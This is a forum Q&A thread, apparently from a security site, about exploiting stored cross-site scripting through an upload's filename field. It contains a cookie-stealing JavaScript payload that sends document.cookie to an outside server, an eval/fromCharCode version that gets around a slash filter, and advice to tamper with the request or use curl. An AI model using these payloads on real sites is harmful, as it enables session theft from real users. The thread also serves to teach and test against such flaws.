2

I am trying to exploit a vulnerability in the filename field of a file upload. The web application does not properly validate the filename of the uploaded file and as a result there is a stored cross-site scripting vulnerability.

My problem is that whenever I try to rename the file to include something like the below payload, I can't include / in the filename.

document.location='http://my_test_server.com/bla.php?cookie='+document.cookie;

Any ideas/payloads? Is it even possible to exploit this vulnerability?

  • You can rename the file with a / on a Unix-based system. – Yuu Jun 26 '18 at 9:11
0

You should use a packet interception application and edit the sent packet. So you replace the / with let's say an _ in the filename, then intercept the packet and change it back in the header.

  • Daaaaamn.. nice idea I will try that .. – User1911 Apr 19 '18 at 18:46
1

You can execute any JavaScript without using / by using a combinatition of eval and fromCharCode:

let slash = var String.fromCharCode(47);
eval("document.location='http:" + slash + slash + "my_test_server.com" + slash + "bla.php?cookie='+document.cookie;"); 
  • Any explanation for the down vote? Am I missing something here? – Anders Apr 20 '18 at 8:36
  • 1
    +1 this is a simpler solution than the accepted answer. – Scruffy Apr 21 '18 at 5:06
0

You can change the filename when uploading with curl:

curl -X POST http://example.com -F "file_input_name=@testfile;filename=document.location='http://example.com'"

However when I tested this with PHP it automatically stripped everything before the last /, presumably assuming that the full path had been sent and converting it to the basename.

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service, privacy policy and cookie policy

Not the answer you're looking for? Browse other questions tagged or ask your own question.